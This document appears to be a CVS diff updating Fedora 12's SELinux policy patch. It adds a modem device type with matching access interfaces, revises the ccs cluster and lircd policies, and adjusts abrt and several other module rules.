 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   30 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  411 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   24 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 ++
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   38 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.te          |   12 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    1 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 ++
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 +++++++
 policy/modules/services/rhcs.te           |  394 ++++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1433 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 360 files changed, 16996 insertions(+), 2651 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- policy-F12.patch	15 Oct 2009 20:42:08 -0000	1.111
+++ policy-F12.patch	19 Oct 2009 19:05:56 -0000	1.112
@@ -2913,7 +2913,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/mono.if serefpolicy-3.6.32/policy/modules/apps/mono.if
 --- nsaserefpolicy/policy/modules/apps/mono.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/apps/mono.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/mono.if	2009-10-17 07:22:40.000000000 -0400
 @@ -21,6 +21,105 @@
  
  ########################################
@@ -4347,8 +4347,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/sambagui.te serefpolicy-3.6.32/policy/modules/apps/sambagui.te
 --- nsaserefpolicy/policy/modules/apps/sambagui.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/sambagui.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,56 @@
++++ serefpolicy-3.6.32/policy/modules/apps/sambagui.te	2009-10-19 09:18:38.000000000 -0400
+@@ -0,0 +1,57 @@
 +policy_module(sambagui,1.0.0)
 +
 +########################################
@@ -4366,6 +4366,7 @@ diff -b -B --ignore-all-space --exclude-
 +#
 +
 +allow sambagui_t self:fifo_file rw_fifo_file_perms;
++allow sambagui_t self:unix_dgram_socket create_socket_perms;
 +
 +# handling with samba conf files
 +samba_append_log(sambagui_t)
@@ -5548,7 +5549,7 @@ diff -b -B --ignore-all-space --exclude-
  #network_node(multicast, s0 - mls_systemhigh, ff00::, ff00::)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.fc serefpolicy-3.6.32/policy/modules/kernel/devices.fc
 --- nsaserefpolicy/policy/modules/kernel/devices.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.fc	2009-10-19 09:11:30.000000000 -0400
 @@ -47,8 +47,10 @@
  /dev/kmem		-c	gen_context(system_u:object_r:memory_device_t,mls_systemhigh)
  /dev/kmsg		-c	gen_context(system_u:object_r:kmsg_device_t,mls_systemhigh)
@@ -5577,7 +5578,19 @@ diff -b -B --ignore-all-space --exclude-
  /dev/vmmon		-c	gen_context(system_u:object_r:vmware_device_t,s0)
  /dev/vmnet.*		-c	gen_context(system_u:object_r:vmware_device_t,s0)
  /dev/video.*		-c	gen_context(system_u:object_r:v4l_device_t,s0)
-@@ -148,6 +151,8 @@
+@@ -139,8 +142,11 @@
+ 
+ /dev/mapper/control	-c	gen_context(system_u:object_r:lvm_control_t,s0)
+ 
++/dev/modem -c	gen_context(system_u:object_r:modem_device_t,s0)
+ /dev/mvideo/.*		-c	gen_context(system_u:object_r:xserver_misc_device_t,s0)
+ 
++/dev/noz.* 		-c	gen_context(system_u:object_r:modem_device_t,s0)
++
+ /dev/pts(/.*)?			<<none>>
+ 
+ /dev/s(ou)?nd/.*	-c	gen_context(system_u:object_r:sound_device_t,s0)
+@@ -148,6 +154,8 @@
  /dev/touchscreen/ucb1x00 -c	gen_context(system_u:object_r:mouse_device_t,s0)
  /dev/touchscreen/mk712	-c	gen_context(system_u:object_r:mouse_device_t,s0)
  
@@ -5586,7 +5599,7 @@ diff -b -B --ignore-all-space --exclude-
  /dev/usb/dc2xx.*	-c	gen_context(system_u:object_r:scanner_device_t,s0)
  /dev/usb/lp.*		-c	gen_context(system_u:object_r:printer_device_t,s0)
  /dev/usb/mdc800.*	-c	gen_context(system_u:object_r:scanner_device_t,s0)
-@@ -168,6 +173,7 @@
+@@ -168,6 +176,7 @@
  
  ifdef(`distro_redhat',`
  # originally from named.fc
@@ -5596,7 +5609,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/named/chroot/dev/zero -c	gen_context(system_u:object_r:zero_device_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.if serefpolicy-3.6.32/policy/modules/kernel/devices.if
 --- nsaserefpolicy/policy/modules/kernel/devices.if	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-14 11:17:02.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.if	2009-10-19 09:10:56.000000000 -0400
 @@ -1692,6 +1692,78 @@
  
  ########################################
@@ -5764,7 +5777,86 @@ diff -b -B --ignore-all-space --exclude-
  ##	dontaudit getattr raw memory devices (e.g. /dev/mem).
  ## </summary>
  ## <param name="domain">
-@@ -2305,6 +2451,25 @@
+@@ -2046,6 +2192,78 @@
+ 
+ ########################################
+ ## <summary>
++##	Get the attributes of the modem devices.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`dev_getattr_modem_dev',`
++	gen_require(`
++		type device_t, modem_device_t;
++	')
++
++	getattr_chr_files_pattern($1, device_t, modem_device_t)
++')
++
++########################################
++## <summary>
++##	Set the attributes of the modem devices.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`dev_setattr_modem_dev',`
++	gen_require(`
++		type device_t, modem_device_t;
++	')
++
++	setattr_chr_files_pattern($1, device_t, modem_device_t)
++')
++
++########################################
++## <summary>
++##	Read the modem devices.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`dev_read_modem',`
++	gen_require(`
++		type device_t, modem_device_t;
++	')
++
++	read_chr_files_pattern($1, device_t, modem_device_t)
++')
++
++########################################
++## <summary>
++##	Read and write to modem devices.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`dev_rw_modem',`
++	gen_require(`
++		type device_t, modem_device_t;
++	')
++
++	rw_chr_files_pattern($1, device_t, modem_device_t)
++')
++
++########################################
++## <summary>
+ ##	Get the attributes of the mouse devices.
+ ## </summary>
+ ## <param name="domain">
+@@ -2305,6 +2523,25 @@
  
  ########################################
  ## <summary>
@@ -5790,7 +5882,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Read and write to the null device (/dev/null).
  ## </summary>
  ## <param name="domain">
-@@ -3599,6 +3764,24 @@
+@@ -3599,6 +3836,24 @@
  
  ########################################
  ## <summary>
@@ -5817,7 +5909,7 @@ diff -b -B --ignore-all-space --exclude-
  ## <param name="domain">
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/devices.te serefpolicy-3.6.32/policy/modules/kernel/devices.te
 --- nsaserefpolicy/policy/modules/kernel/devices.te	2009-08-28 14:58:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/devices.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/devices.te	2009-10-19 09:09:54.000000000 -0400
 @@ -84,6 +84,13 @@
  dev_node(kmsg_device_t)
  
@@ -5845,7 +5937,20 @@ diff -b -B --ignore-all-space --exclude-
  # Type for /dev/mapper/control
  #
  type lvm_control_t;
-@@ -224,6 +237,12 @@
+@@ -110,6 +123,12 @@
+ dev_node(misc_device_t)
+ 
+ #
++# A general type for modem devices.
++#
++type modem_device_t;
++dev_node(modem_device_t)
++
++#
+ # A more general type for mouse devices.
+ #
+ type mouse_device_t;
+@@ -224,6 +243,12 @@
  type watchdog_device_t;
  dev_node(watchdog_device_t)
  
@@ -8465,8 +8570,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/unconfineduser.te serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te
 --- nsaserefpolicy/policy/modules/roles/unconfineduser.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-08 15:41:51.000000000 -0400
-@@ -0,0 +1,410 @@
++++ serefpolicy-3.6.32/policy/modules/roles/unconfineduser.te	2009-10-17 07:22:57.000000000 -0400
+@@ -0,0 +1,411 @@
 +policy_module(unconfineduser, 1.0.0)
 +
 +########################################
@@ -8504,6 +8609,7 @@ diff -b -B --ignore-all-space --exclude-
 +userdom_manage_tmp_role(unconfined_r, unconfined_t)
 +userdom_manage_tmpfs_role(unconfined_r, unconfined_t)
 +userdom_execmod_user_home_files(unconfined_t)
++userdom_unpriv_usertype(unconfined, unconfined_t)
 +
 +type unconfined_exec_t;
 +init_system_domain(unconfined_t, unconfined_exec_t)
@@ -9171,7 +9277,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.te serefpolicy-3.6.32/policy/modules/services/abrt.te
 --- nsaserefpolicy/policy/modules/services/abrt.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-06 10:15:23.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-19 14:55:25.000000000 -0400
 @@ -75,6 +75,7 @@
  
  corecmd_exec_bin(abrt_t)
@@ -9180,10 +9286,15 @@ diff -b -B --ignore-all-space --exclude-
  
  corenet_tcp_connect_http_port(abrt_t)
  
-@@ -105,13 +106,29 @@
- 	dbus_system_bus_client(abrt_t)
- ')
+@@ -101,17 +102,32 @@
+ userdom_read_user_home_content_files(abrt_t)
  
+ optional_policy(`
+-	dbus_connect_system_bus(abrt_t)
+-	dbus_system_bus_client(abrt_t)
++	dbus_system_domain(abrt_t, abrt_exec_t)
++')
++
 +optional_policy(`
 +	nsplugin_read_rw_files(abrt_t)
 +')
@@ -9193,8 +9304,8 @@ diff -b -B --ignore-all-space --exclude-
 +	policykit_domtrans_auth(abrt_t)
 +	policykit_read_lib(abrt_t)
 +	policykit_read_reload(abrt_t)
-+')
-+
+ ')
+ 
  # to install debuginfo packages 
  optional_policy(`
 -	rpm_manage_db(abrt_t)
@@ -11140,6 +11251,92 @@ diff -b -B --ignore-all-space --exclude-
 -/var/run/cman_.*	-s	gen_context(system_u:object_r:ccs_var_run_t,s0)
 +/var/run/cluster/ccsd\.pid      --      gen_context(system_u:object_r:ccs_var_run_t,s0)
 +/var/run/cluster/ccsd\.sock     -s      gen_context(system_u:object_r:ccs_var_run_t,s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ccs.te serefpolicy-3.6.32/policy/modules/services/ccs.te
+--- nsaserefpolicy/policy/modules/services/ccs.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ccs.te	2009-10-17 06:50:43.000000000 -0400
+@@ -10,23 +10,21 @@
+ type ccs_exec_t;
+ init_daemon_domain(ccs_t, ccs_exec_t)
+ 
+-# conf files
+ type cluster_conf_t;
+ files_type(cluster_conf_t)
+ 
+-# tmp files
+ type ccs_tmp_t;
+ files_tmp_file(ccs_tmp_t)
+ 
+-# log files
+-type ccs_var_log_t;
+-logging_log_file(ccs_var_log_t)
++type ccs_tmpfs_t;
++files_tmpfs_file(ccs_tmpfs_t)
+ 
+-# var lib files
+ type ccs_var_lib_t;
+ logging_log_file(ccs_var_lib_t)
+ 
+-# pid files
++type ccs_var_log_t;
++logging_log_file(ccs_var_log_t)
++
+ type ccs_var_run_t;
+ files_pid_file(ccs_var_run_t)
+ 
+@@ -35,7 +33,7 @@
+ # ccs local policy
+ #
+ 
+-allow ccs_t self:capability { ipc_lock sys_nice sys_resource sys_admin };
++allow ccs_t self:capability { ipc_owner ipc_lock sys_nice sys_resource sys_admin };
+ allow ccs_t self:process { signal setrlimit setsched };
+ dontaudit ccs_t self:process ptrace;
+ allow ccs_t self:fifo_file rw_fifo_file_perms;
+@@ -55,23 +53,29 @@
+ manage_files_pattern(ccs_t, ccs_tmp_t, ccs_tmp_t)
+ files_tmp_filetrans(ccs_t, ccs_tmp_t, { file dir })
+ 
+-# log files
+-manage_files_pattern(ccs_t, ccs_var_log_t, ccs_var_log_t)
+-manage_sock_files_pattern(ccs_t, ccs_var_log_t, ccs_var_log_t)
+-allow ccs_t ccs_var_log_t:dir setattr;
+-logging_log_filetrans(ccs_t, ccs_var_log_t, { sock_file file dir })
++manage_dirs_pattern(ccs_t, ccs_tmpfs_t, ccs_tmpfs_t)
++manage_files_pattern(ccs_t, ccs_tmpfs_t, ccs_tmpfs_t)
++fs_tmpfs_filetrans(ccs_t, ccs_tmpfs_t,{ dir file })
+ 
+ # var lib files
+ manage_dirs_pattern(ccs_t, ccs_var_lib_t, ccs_var_lib_t)
+ manage_files_pattern(ccs_t, ccs_var_lib_t, ccs_var_lib_t)
+ files_var_lib_filetrans(ccs_t, ccs_var_lib_t, { file dir })
+ 
++# log files
++manage_files_pattern(ccs_t, ccs_var_log_t, ccs_var_log_t)
++manage_sock_files_pattern(ccs_t, ccs_var_log_t, ccs_var_log_t)
++allow ccs_t ccs_var_log_t:dir setattr;
++logging_log_filetrans(ccs_t, ccs_var_log_t, { sock_file file dir })
++
+ # pid file
+ manage_dirs_pattern(ccs_t, ccs_var_run_t, ccs_var_run_t)
+ manage_files_pattern(ccs_t, ccs_var_run_t, ccs_var_run_t)
+ manage_sock_files_pattern(ccs_t, ccs_var_run_t, ccs_var_run_t)
+ files_pid_filetrans(ccs_t, ccs_var_run_t, { dir file sock_file })
+ 
++aisexec_stream_connect(ccs_t)
++
+ kernel_read_kernel_sysctls(ccs_t)
+ 
+ corecmd_list_bin(ccs_t)
+@@ -104,6 +108,9 @@
+ 
+ sysnet_dns_name_resolve(ccs_t)
+ 
++userdom_manage_unpriv_user_shared_mem(ccs_t)
++userdom_manage_unpriv_user_semaphores(ccs_t)
++
+ ifdef(`hide_broken_symptoms', `
+ 	corecmd_dontaudit_write_bin_dirs(ccs_t)
+ 	files_manage_isid_type_files(ccs_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/certmaster.te serefpolicy-3.6.32/policy/modules/services/certmaster.te
 --- nsaserefpolicy/policy/modules/services/certmaster.te	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/certmaster.te	2009-09-30 16:12:48.000000000 -0400
@@ -13755,10 +13952,24 @@ diff -b -B --ignore-all-space --exclude-
  
  auth_use_nsswitch(ktalkd_t)
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.fc serefpolicy-3.6.32/policy/modules/services/lircd.fc
+--- nsaserefpolicy/policy/modules/services/lircd.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/lircd.fc	2009-10-19 09:13:19.000000000 -0400
+@@ -6,3 +6,4 @@
+ /usr/sbin/lircd		--	gen_context(system_u:object_r:lircd_exec_t,s0)
+ 
+ /var/run/lircd\.pid		gen_context(system_u:object_r:lircd_var_run_t,s0)
++/var/run/lircd(/.*)?		gen_context(system_u:object_r:lircd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/lircd.te serefpolicy-3.6.32/policy/modules/services/lircd.te
 --- nsaserefpolicy/policy/modules/services/lircd.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-09-30 16:12:48.000000000 -0400
-@@ -42,7 +42,18 @@
++++ serefpolicy-3.6.32/policy/modules/services/lircd.te	2009-10-19 09:14:01.000000000 -0400
+@@ -37,12 +37,24 @@
+ # pid file
+ manage_dirs_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
+ manage_files_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
++manage_sock_files_pattern(lircd_t, lircd_var_run_t, lircd_var_run_t)
+ files_pid_filetrans(lircd_t, lircd_var_run_t, { dir file })
+ 
  # /dev/lircd socket
  manage_sock_files_pattern(lircd_t, lircd_sock_t, lircd_sock_t)
  dev_filetrans(lircd_t, lircd_sock_t, sock_file )
@@ -13815,6 +14026,17 @@ diff -b -B --ignore-all-space --exclude-
  	miscfiles_read_localization($1_milter_t)
  
  	logging_send_syslog_msg($1_milter_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/modemmanager.te serefpolicy-3.6.32/policy/modules/services/modemmanager.te
+--- nsaserefpolicy/policy/modules/services/modemmanager.te	2009-09-16 09:09:20.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/modemmanager.te	2009-10-19 09:11:09.000000000 -0400
+@@ -24,6 +24,7 @@
+ kernel_read_system_state(modemmanager_t)
+ 
+ dev_read_sysfs(modemmanager_t)
++dev_rw_modem(modemmanager_t)
+ 
+ files_read_etc_files(modemmanager_t)
+ 
